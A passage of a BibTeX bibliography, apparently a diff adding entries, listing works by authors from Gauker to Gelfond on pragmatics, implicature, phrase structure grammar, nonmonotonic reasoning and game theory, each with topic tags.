{foundations-of-pragmatics;philosophy-of-language;ambiguity;} + } + +@article{ gauker:2001a, + author = {Christopher Gauker}, + title = {Situated Inference Versus Conversational Implicature}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {2}, + pages = {163--189}, + topic = {implicature;} + } + +@inproceedings{ gaussier:1998a, + author = {\'Eric Gaussier}, + title = {Flow Network Models for Word Alignment and Terminology + Extraction from Bilingual Corpora}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {444--450}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-alignment;} +} + +@article{ gauthier:1977a, + author = {David Gauthier}, + title = {Resolute Choice and Rational Deliberation: A Critique + and a Defense}, + journal = {No\^us}, + year = {1977}, + volume = {31}, + number = {1}, + pages = {1--25}, + topic = {preferences;rational-action;deliberation;intention;} + } + +@incollection{ gauthier:1978a, + author = {David P. Gauthier}, + title = {Morality and Advantage}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {185--197}, + address = {Oxford}, + topic = {ethics;} + } + +@incollection{ gauthier:1985a, + author = {David Gauthier}, + title = {Maximization Constrained: The Rationality of Cooperation}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {75--93}, + address = {Vancouver}, + topic = {rationality;prisoner's-dilemma;} + } + +@inproceedings{ gavalda-waibel:1998a, + author = {Marsal Gavald\'a and Alex Waibel}, + title = {Growing Semantic Grammars}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {451--456}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-semantics;machine-learning;} +} + +@inproceedings{ gavalda:2000a, + author = {Marsal Gavald\`a}, + title = {Epiphenomenal Grammar Acquisition with {GSG}}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {36--41}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;clarification-dialogues;} + } + +@article{ gawron:1986a, + author = {Jean Mark Gawron}, + title = {Situations and Prepositions}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {3}, + pages = {327--382}, + topic = {nl-semantics;prepositions;situation-semantics;} + } + +@article{ gawron:1987a, + author = {Jean Mark Gawron}, + title = {Types, Contexts, and Semantic Objects}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {4}, + pages = {427--476}, + topic = {situation-semantics;} + } + +@article{ gawron:1995a, + author = {Jean M. Gawron}, + title = {Comparatives, Superlatives, and Resolution}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {4}, + pages = {333--380}, + topic = {nl-semantics;semantics-of-adjectives;sentence-focus;LF;} + } + +@incollection{ gawron:1996a, + author = {Jean Mark Gawron}, + title = {Quantification, Quantificational Domains and + Dynamic Logic}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {247--267}, + topic = {nl-semantics;nl-quantifiers;dynamic-semantics;} + } + +@article{ gazdar:1970a, + author = {Gerald Gazdar}, + title = {Pragmatics and Logical Form}, + journal = {Journal of Pragmatics}, + year = {1970}, + volume = {4}, + pages = {1--13}, + missinginfo = {number}, + topic = {pragmatics;} + } + +@unpublished{ gazdar:1975a, + author = {Gerald Gazdar}, + title = {Implicature and Presupposition}, + year = {1975}, + note = {Unpublished manuscript, Department of Linguistics, University + of Reading}, + topic = {implicature;pragmatics;presupposition;} + } + +@phdthesis{ gazdar:1976a, + author = {Gerald Gazdar}, + title = {Formal Pragmatics for Natural Language}, + school = {University of Reading}, + year = {1976}, + type = {Ph.{D}. Dissertation}, + address = {Reading, England}, + topic = {pragmatics;} + } + +@inproceedings{ gazdar-pullum:1976a, + author = {Gerald Gazdar and Geoffrey Pullum}, + title = {Truth-Functional Connectives in Natural Language}, + booktitle = {Proceedings of the Twelfth Regional Meeting of the + {C}hicago {L}inguistics {S}ociety}, + year = {1976}, + pages = {220--234}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {implicature;pragmatics;philosophy-of-logic;nl-and-logic;} + } + +@inproceedings{ gazdar-klein:1977a, + author = {Gerald Gazdar and Ewan Klein}, + title = {Context-Sensitive Transderivational Constraints and + Conventional Implicature}, + booktitle = {Proceedings of the Thirteenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1977}, + pages = {137--146}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {presupposition;conventional-implicature;pragmatics;} + } + +@article{ gazdar:1978a, + author = {Gerald Gazdar}, + title = {Heavy Parenthesis Wipe-Out Rules, {OK}?}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {281--289}, + topic = {presupposition;} + } + +@book{ gazdar:1979a, + author = {Gerald Gazdar}, + title = {Pragmatics: Implicature, Presupposition, and Logical Form}, + publisher = {Academic Press}, + year = {1979}, + address = {New York}, + topic = {implicature;pragmatics;presupposition;} + } + +@incollection{ gazdar:1979b, + author = {Gerald Gazdar}, + title = {A Solution to the Projection Problem}, + booktitle = {Syntax and Semantics 11: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {57--89}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@incollection{ gazdar:1980a, + author = {Gerald Gazdar}, + title = {Pragmatic Constraints on Linguistic Production}, + booktitle = {Language Production, Volume 1: Speech and Talk}, + publisher = {Academic Press}, + year = {1979}, + editor = {B. Butterworth}, + pages = {49--68}, + address = {New York}, + missinginfo = {E's 1st name}, + topic = {presupposition;pragmatics;} + } + +@unpublished{ gazdar:1980b, + author = {Gerald Gazdar}, + title = {Phrase Structure Grammar}, + year = {1980}, + note = {Unpublished manuscript, Cognitive Studies Program, + University of Sussex.}, + topic = {GPSG;} + } + +@incollection{ gazdar:1980c, + author = {Gerald Gazdar}, + title = {A Phrase Structure Syntax for Comparative Clauses}, + booktitle = {Lexical Grammar}, + publisher = {Foris Publications}, + year = {1980}, + editor = {T. Hoekstra and H. {van der Hulst} and M. Moortgat}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {GPSG;comparative-constructions;} + } + +@article{ gazdar:1980d, + author = {Gerald Gazdar}, + title = {A Cross-Categorial Semantics for Conjunction}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {3}, + pages = {407--409}, + topic = {coordination;nl-semantic-types;} + } + +@incollection{ gazdar-sag:1980a, + author = {Gerald Gazdar and Ivan A. Sag}, + title = {Passive and Reflexives in Phrase Structure Grammar}, + booktitle = {Formal Methods in the Study of Language}, + publisher = {Foris}, + year = {1981}, + editor = {Jeroen A. Groenendijk and Theo Janssen and Martin Stokhof}, + address = {Dordrecht}, + pages = {131--152}, + topic = {GPSG;passive;reflexive-constructions;} + } + +@inproceedings{ gazdar:1981b, + author = {Gerald Gazdar}, + title = {Speech Act Assignment}, + booktitle = {Proceedings of the Pennsylvania Workshop on + Computational Aspects of Computational Aspects of + Linguistic Structure and Discourse Setting}, + year = {1981}, + pages = {64--83}, + editor = {Arivind K. Joshi and Ivan A. Sag and Bonnie Webber}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + topic = {speech-acts;pragmatics;} + } + +@article{ gazdar:1981c, + author = {Gerald Gazdar}, + title = {Unbounded Dependencies and Coordinate Structure}, + journal = {Linguistic Inquiry}, + year = {1981}, + volume = {12}, + number = {2}, + pages = {155--184}, + topic = {GPSG;} + } + +@book{ gazdar-etal:1981a, + author = {Gerald Gazdar and Geoffrey K. Pullum Ivan Sag}, + title = {Auxiliaries and Related Phenomena in a Restrictive Theory of + Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1981}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {GPSG;auxiliary-verbs;} + } + +@incollection{ gazdar-good:1982a, + author = {Gerald Gazdar and David Good}, + title = {On a Notion of Relevance}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + editor = {N.V. Smith}, + pages = {88--100}, + address = {London}, + topic = {mutual-beliefs;discourse;relevance-theory;pragmatics;} + } + +@book{ gazdar-pullum:1982a, + author = {Gerald Gazdar and Geoffrey K. Pullum}, + title = {Generalized Phrase Structure Grammar: A Theoretical Synopsis}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {GPSG;} + } + +@book{ gazdar-etal:1985a, + author = {Gerald Gazdar and Ewan Klein and Geoffrey Pullum and Ivan + Sag}, + title = {Generalized Phrase Structure Grammar}, + publisher = {Harvard University Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + xref = {Review: jacobson:1987a.}, + topic = {GPSG;} + } + +@techreport{ gazdar-etal:1987a1, + author = {Gerald Gazdar and Geoffrey Pullum and Bob Carpenter and Thomas + Hukari and Robert Levine}, + title = {Category Structures}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--87--102}, + year = {1986}, + address = {Stanford, California}, + xref = {Journal Publication: gazdar-etal:1987a2.}, + topic = {syntactic-categories;} + } + +@article{ gazdar-etal:1987a2, + author = {Gerald Gazdar and Geoffrey Pullum and Bob Carpenter and Thomas + Hukari and Robert Levine}, + title = {Category Structures}, + journal = {Computational Linguistics}, + year = {1988}, + volume = {14}, + number = {1}, + pages = {1--19}, + xref = {Technical report: gazdar-etal:1987a1.}, + missinginfo = {number.}, + topic = {syntactic-categories;} + } + +@book{ gazdar-etal:1987b, + author = {Gerald Gazdar and Alex Franz and Karen Osborne and Roger + Evans}, + title = {Natural Language Processing in the 1980s: A Bibliography}, + publisher = {Center for the Study of Language and Information}, + year = {1987}, + address = {Stanford, California}, + topic = {nlp-bibliography;} + } + +@book{ gazdar-mellish:1989a, + author = {Gerald Gazdar and Chris Mellish}, + title = {Natural Language Processing in {P}rolog: An Introduction to + Computational Linguistics}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1989}, + address = {Reading, Massachusetts}, + ISBN = {ISBN: 0201180537}, + topic = {nlp-intro;} + } + +@unpublished{ gazdar:1990a, + author = {Gerald Gazdar}, + title = {Ceteris Paribus}, + year = {1990}, + note = {Unpublished manuscript.}, + topic = {DATR;nm-ling;} + } + +@incollection{ gazdar:1993a, + author = {Gerald Gazdar}, + title = {The Handling of Natural Language}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {151--177}, + address = {Oxford}, + topic = {nlp-survey;} + } + +@book{ geach:1962a, + author = {Peter Geach}, + title = {Reference and Generality}, + publisher = {Cornell University Press}, + year = {1962}, + address = {Ithaca, New York}, + topic = {reference;nl-quantification;philosophical-logic;} + } + +@article{ geach:1965a, + author = {Peter T. Geach}, + title = {On Complex Terms}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {1}, + pages = {5--8}, + xref = {Commentary: geach:1965b.}, + topic = {nl-quantification;relative-clauses;} + } + +@article{ geach:1965b, + author = {Peter T. Geach}, + title = {Complex Terms Again}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {23}, + pages = {716--717}, + xref = {Commentary on: geach:1965a.}, + topic = {nl-quantification;} + } + +@article{ geach:1967a, + author = {Peter T. Geach}, + title = {Intentional Identity}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {20}, + pages = {627--632}, + topic = {intentional-identity;} + } + +@article{ geach:1970a, + author = {Peter T. Geach}, + title = {Two Paradoxes of {R}ussell's}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {4}, + pages = {89--97}, + topic = {Russell;Russell-paradox;foundations-of-set-theory;} + } + +@incollection{ geach:1972a, + author = {Peter T. Geach}, + title = {A Program for Syntax}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {483--497}, + address = {Dordrecht}, + topic = {categorial-grammar;} + } + +@incollection{ geach:1976a, + author = {Peter T. Geach}, + title = {Back-Reference}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {25--39}, + address = {Dordrecht}, + topic = {anaphora;} + } + +@article{ geach:1978a, + author = {Peter T. Geach}, + title = {Russell on Denoting}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + pages = {204--205}, + missinginfo = {number}, + topic = {on-denoting;Russell;} + } + +@article{ geach:1979a, + author = {Peter T. Geach}, + title = {Russell and {F}rege Again}, + journal = {Analysis}, + year = {1979}, + volume = {39}, + pages = {159--160}, + missinginfo = {number}, + topic = {on-denoting;Frege;} + } + +@article{ geach:1982a, + author = {Peter Geach}, + title = {Whatever Happened to Deontic Logic?}, + journal = {Philosophia}, + year = {1982}, + volume = {11}, + pages = {1--12}, + topic = {deontic-logic;practical-reasoning;} + } + +@inproceedings{ geanakoplos:1990a, + author = {John Geanakoplos}, + title = {Common Knowledge in Economics}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {139--140}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + note = {This is an abstract for a tutorial session.}, + topic = {mutual-beliefs;game-theory;bargaining-theory;} + } + +@techreport{ geanakopolos:1989a, + author = {John Geanakopolos}, + title = {Game Theory Without Partitions, and Applications to + Speculation and Consensus}, + institution = {Yale University}, + number = {Cowles Foundation Discussion Paper \#914}, + year = {1989}, + address = {New Haven, Connecticut}, + topic = {game-theory;agreeing-to-disagree;mutual-agreement;} + } + +@incollection{ geanakopolos:1992a, + author = {John Geanakopolos}, + title = {Common Knowledge}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {254--315}, + address = {San Francisco}, + topic = {epistemic-logic;mutual-beliefs;game-theory;} + } + +@article{ geanakopolos:1992b, + author = {John Geanakopolos}, + title = {We Can't Disagree Forever}, + journal = {Journal of Economic Theory}, + year = {1992}, + volume = {28}, + number = {1}, + pages = {192--200}, + topic = {bargaining-theory;agreeing-to-disagree;mutual-agreement;} + } + +@incollection{ geanakopolos:1994b, + author = {John Geanakopolos}, + title = {Common Knowledge}, + booktitle = {Handbook of Game Theory, with Economic Applications, Vol. 2}, + publisher = {North-Holland}, + year = {1994}, + address = {Amsterdam}, + editor = {Robert Aumann and Serigiu Hart}, + chapter = {40}, + missinginfo = {pages}, + topic = {mutual-belief;game-theory;} + } + +@incollection{ gebhardt-kruse:1998a, + author = {J\"org Gebhardt and Rudolf Kruse}, + title = {Parallel Combination of Information Sources}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {393--439}, + address = {Dordrecht}, + topic = {knowledge-integration;} + } + +@incollection{ geckeler:1981a, + author = {Horst Geckeler}, + title = {Structural Semantics}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {381--413}, + address = {Berlin}, + topic = {structuralist-linguistics;nl-semantics;} + } + +@article{ gediga-duntsch:2001a, + author = {G\"unther Gediga and Ivo D\"untsch}, + title = {Rough Approximation Quality Revisited}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {2}, + pages = {219--234}, + topic = {rough-sets;} + } + +@article{ gee-grosjean:1983a, + author = {J. Gee and F. Grosjean}, + title = {Saying What You Mean in Dialogue: A Study in Conceptual + Coordination}, + journal = {Cognitive Psychology}, + year = {1983}, + volume = {15}, + number = {3}, + missinginfo = {pages}, + topic = {discourse;coord-in-conversation;pragmatics;} + } + +@incollection{ geerts-etal:1998a, + author = {P. Geerts and E. Laenens and D. Vermeir}, + title = {Defeasible Logics}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {175--210}, + address = {Dordrecht}, + topic = {nonmonotonic-logics;} + } + +@book{ geertz:1973a, + author = {Clifford Geertz}, + title = {The Interpretation of Cultures: Selected Essays}, + publisher = {Basic Books}, + year = {1973}, + address = {New York}, + ISBN = {046503425X}, + topic = {ethnology;} + } + +@techreport{ geffner-pearl:1987a, + author = {H\'ector Geffner and Judea Pearl}, + title = {Sound Defeasible Inference}, + institution = {Cognitive Systems Laboratory, Department of Computer + Science, UCLA}, + number = {CSD--8700XX R--94}, + year = {1987}, + address = {Los Angeles, CA 90024--1596}, + xref = {Revised as geffner-pearl:1987b, geffner-pearl:1990a}, + topic = {nonmonotonic-logic;probability-semantics;} + } + +@unpublished{ geffner-pearl:1987b, + author = {H\'ector Geffner and Judea Pearl}, + title = {A Framework for Reasoning With Defaults}, + year = {1987}, + note = {Unpublished manuscript, Cognitive Systems Laboratory, + Department of Computer Science, UCLA.}, + xref = {Revised as geffner-pearl:1990a}, + topic = {nonmonotonic-logic;uncertainty-in-AI;nonmonotonic-reasoning;} + } + +@inproceedings{ geffner:1988a, + author = {H\'ector Geffner}, + title = {On the Logic of Defaults}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {nonmonotonic-logic;} + } + +@incollection{ geffner:1989a, + author = {H\'ector Geffner}, + title = {Default Reasoning, Minimality and Coherence}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {137--148}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-logic;model-preference;} + } + +@unpublished{ geffner:1989b, + author = {H\'ector Geffner}, + title = {Conditional Entailment: CLosing the Gap between + Defaults and Conditionals}, + year = {1989}, + note = {Unpublished manuscript, IBM Watson Research Center.}, + topic = {nonmonotonic-logic;conditionals;} + } + +@inproceedings{ geffner-verna:1989a, + author = {H\'ector Geffner and Tom Verna}, + title = {Inheritance $=$ Chaining $+$ Defeat}, + booktitle = {Proceedings of the Fourth International Symposium on + Methodologies for Intelligent Systems}, + year = {1989}, + editor = {Zbigniew Raz}, + pages = {411--418}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;} + } + +@inproceedings{ geffner:1990a, + author = {H\'ector Geffner}, + title = {Causal Theories of Nonmonotonic Reasoning}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {524--530}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {causality;nonmonotonic-reasoning;} + } + +@incollection{ geffner-pearl:1990a, + author = {H\'ector Geffner and Judea Pearl}, + title = {A Framework for Reasoning With Defaults}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {69--87}, + address = {Dordrecht}, + topic = {nonmonotonic-logic;uncertainty-in-AI;nonmonotonic-reasoning;} + } + +@incollection{ geffner:1991a, + author = {H\'ector Geffner}, + title = {Beyond Negation as Failure}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {218--229}, + address = {San Mateo, California}, + topic = {kr;model-preference;nonmonotonic-logic;negation-as-failure; + kr-course;} + } + +@unpublished{ geffner:1992b, + author = {H\'ector Geffner}, + title = {Conditional Entailment: Closing the Gap Between Defaults + and Conditionals}, + year = {1992}, + note = {Unpublished extended abstract, T.J. Watson Research Center, + Yorktown Heights, NY 10598.}, + contentnote = {Summarizes results of geffner:1992a.}, + missinginfo = {Year is a guess.}, + topic = {probabilistic-reasoning;conditionals;} + } + +@book{ geffner:1992c, + author = {H\'ector Geffner}, + title = {Default Reasoning: Causal and Conditional Theories}, + publisher = {{MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {kr;nonmonotonic-reasoning;causality;probabilistic-reasoning; + kr-course;} + } + +@article{ geffner-pearl:1992a, + author = {H\'ector Geffner and Judea Pearl}, + title = {Conditional Entailment: Bridging Two Approaches to Default + Reasoning}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {209--244}, + contentnote = {Seeks to unify belief update formulations of NM reasoning + and contextualized-belief accounts. Develops a model theory that + generalizes preferential entailment.}, + topic = {kr;nonmonotonic-logic;belief-revision;kr-course;} + } + +@inproceedings{ geffner:1994a, + author = {H\'ector Geffner}, + title = {Causal Default Reasoning: Principles and Algorithms}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + pages = {245--250}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {kr;nonmonotonic-reasoning;causality;kr-course;} + } + +@unpublished{ geffner-bonet:1995a, + author = {H\'ector Geffner and Blai Bonet}, + title = {Causal Systems as Dynamic Systems}, + year = {1995}, + note = {Unpublished manuscript, Unerversidad Sim\'on Bolivar.}, + missinginfo = {Year is a guess.}, + topic = {causality;Bayesian-networks;dynamic-systems;} + } + +@inproceedings{ geffner-etal:1995a, + author = {H\'ector Geffner and Jimena Llopis and Gisela M\'endez}, + title = {Sound and Efficient Non-Monotonic Inference}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1495--1500}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-reasoning;} + } + +@inproceedings{ geffner-bonet:1999a, + author = {H\'ector Geffner and Blai Bonet}, + title = {Functional Strips: A More General Language for + Planning and Problem Solving}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {planning-formalisms;} + } + +@incollection{ geffner:2000a, + author = {H\'ector Geffner}, + title = {Functional {\sc Strips}}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {187--209}, + address = {Dordrecht}, + topic = {logic-in-AI;STRIPS;planning-formalisms;} + } + +@inproceedings{ gehrke:1992a, + author = {Manfred Gehrke}, + title = {Particles of the Part-Whole Relation}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {36--38}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;mereology;taxonomic-logics;} + } + +@article{ geiger-heckerman:1996a, + author = {Dan Geiger and David Heckerman}, + title = {Knowledge Representation and Inference in Similarity + Networks and {B}ayesian Multinets}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {45--74}, + topic = {Bayesian-networks;} + } + +@article{ geis-zwicky:1971a, + author = {Michale L. Geis and Arnold Zwicky}, + title = {On Invited Inferences}, + journal = {Linguistic Inquiry}, + year = {1971}, + volume = {2}, + pages = {561--566}, + topic = {implicature;} + } + +@article{ geis-lycan:1993a, + author = {Michael L. Geis and William G. Lycan}, + title = {Nonconditional Conditionals}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {2}, + pages = {35--56}, + topic = {JL-Austin;conditionals;} + } + +@book{ geis:1995a, + author = {Michael L. Geis}, + title = {Speech Acts and Conversational Interaction}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ geisl-etal:1998a, + author = {J. Geisl et al.}, + title = {Termination Analysis for Functional Programs}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;software-engineering;} + } + +@inproceedings{ geissler-konolige:1986a, + author = {Christopher Geissler and Kurt Konolige}, + title = {A Resolution Method for Quantified Modal Logics of + Knowledge and Belief}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {309--324}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {modal-logic;theorem-proving;} + } + +@article{ gelbukh:2000a, + author = {Alexander F. Gelbukh}, + title = {Review of {\it Foundations of Computational Linguistics: + Man-Machine Communication in Natural Language}, by {R}oland + {H}ausser}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {449--455}, + xref = {Review of hausser:1999a.}, + topic = {computational-linguistics;} + } + +@incollection{ geldof:1999a, + author = {Sabine Geldof}, + title = {Parrot-Talk Requires Multiple Context + Dimensions}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {467--470}, + address = {Berlin}, + topic = {context;nl-generation;} + } + +@unpublished{ gelfond:1980a, + author = {Michael Gelfond}, + title = {A Class of Theorems With Constructive Counterparts}, + year = {1980}, + note = {Unpublished manuscript.}, + topic = {constructivity;} + } + +@incollection{ gelfond-etal:1986a, + author = {Michael Gelfond and Vladimir Lifschitz + and A. Rabinov}, + title = {What are the Limitations of the Situation Calculus?}, + booktitle = {Automated Reasoning: Essays in Honor of {W}oody + {B}ledsoe}, + publisher = {Kluwer Academic Publishers}, + year = {1986}, + address = {Dordrecht}, + pages = {167--179}, + missinginfo = {editor}, + topic = {foundations-of-planning;situation-calculus; + temporal-reasoning;} + } + +@unpublished{ gelfond-etal:1986b1, + author = {Michael Gelfond and Halina Przymusinska and Teodor Przymusinski}, + title = {On the Relationship between Circumscription and Negation as + Failure}, + year = {1986}, + note = {Unpublished manuscript, University of Texas at El Paso.}, + xref = {Journal publication: gelfond-etal:1986b2.}, + topic = {circumscription;negation-as-failure;} + } + +@article{ gelfond-etal:1986b2, + author = {Michael Gelfond and Halina Przymusinska and Teodor + Przymusinski}, + title = {On the Relationship between Circumscription and Negation + as Failure}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {75--94}, + topic = {circumscription;negation-as-failure;} + } + +@article{ gelfond-przymusinska:1986a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {Negation as Failure: Careful Closure Principle}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {3}, + pages = {273--287}, + topic = {negation-as-failure;logic-programming;} + } + +@inproceedings{ gelfond:1987a, + author = {Michael Gelfond}, + title = {Autoepistemic Logic and Formalization of Commonsense Reasoning: + A Preliminary Report}, + booktitle = {Second International Workshop on Non-Monotonic Reasoning}, + year = {1987}, + editor = {Michael Reinfrank and Johan de Kleer and Eric Sandewall}, + pages = {177--186}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {autoepistemic-logic;Yale-shooting-problem;inheritance-theory;} + } + +@unpublished{ gelfond-etal:1987a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {On the Relationship between Autoepistemic Logic + and Parallel Circumscription}, + year = {1987}, + note = {Unpublished manuscript, University of Texas at El Paso.}, + topic = {circumscription;autoepistemic-logic;} + } + +@unpublished{ gelfond-przymusinska:1987a, + author = {Michael Gelfond and Halina Przymusinska}, + title = {On the Relationship between Autoepistemic Logic and Parallel + Circumscription}, + year = {1987}, + note = {Unpublished MS, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + missinginfo = {Year is a guess.}, + topic = {autoepistemic-logic;circumscription;} + } + +@unpublished{ gelfond:1988a, + author = {Michael Gelfond}, + title = {Autoepistemic Logic and the Formalization of Commonsense + Reasoning}, + year = {1988}, + note = {Unpublished manuscript, Computer Science Department, University of + Texas at El Paso, El Paso, TX 79968.}, + missinginfo = {Year is a guess.}, + topic = {autoepistemic-logic;nonmonotonic-logic;Yale-shooting-problem;} + } + +@unpublished{ gelfond-etal:1988a, + author = {Michael Gelfond and Vladimir Lifschitz and Arkady Rabinow}, + 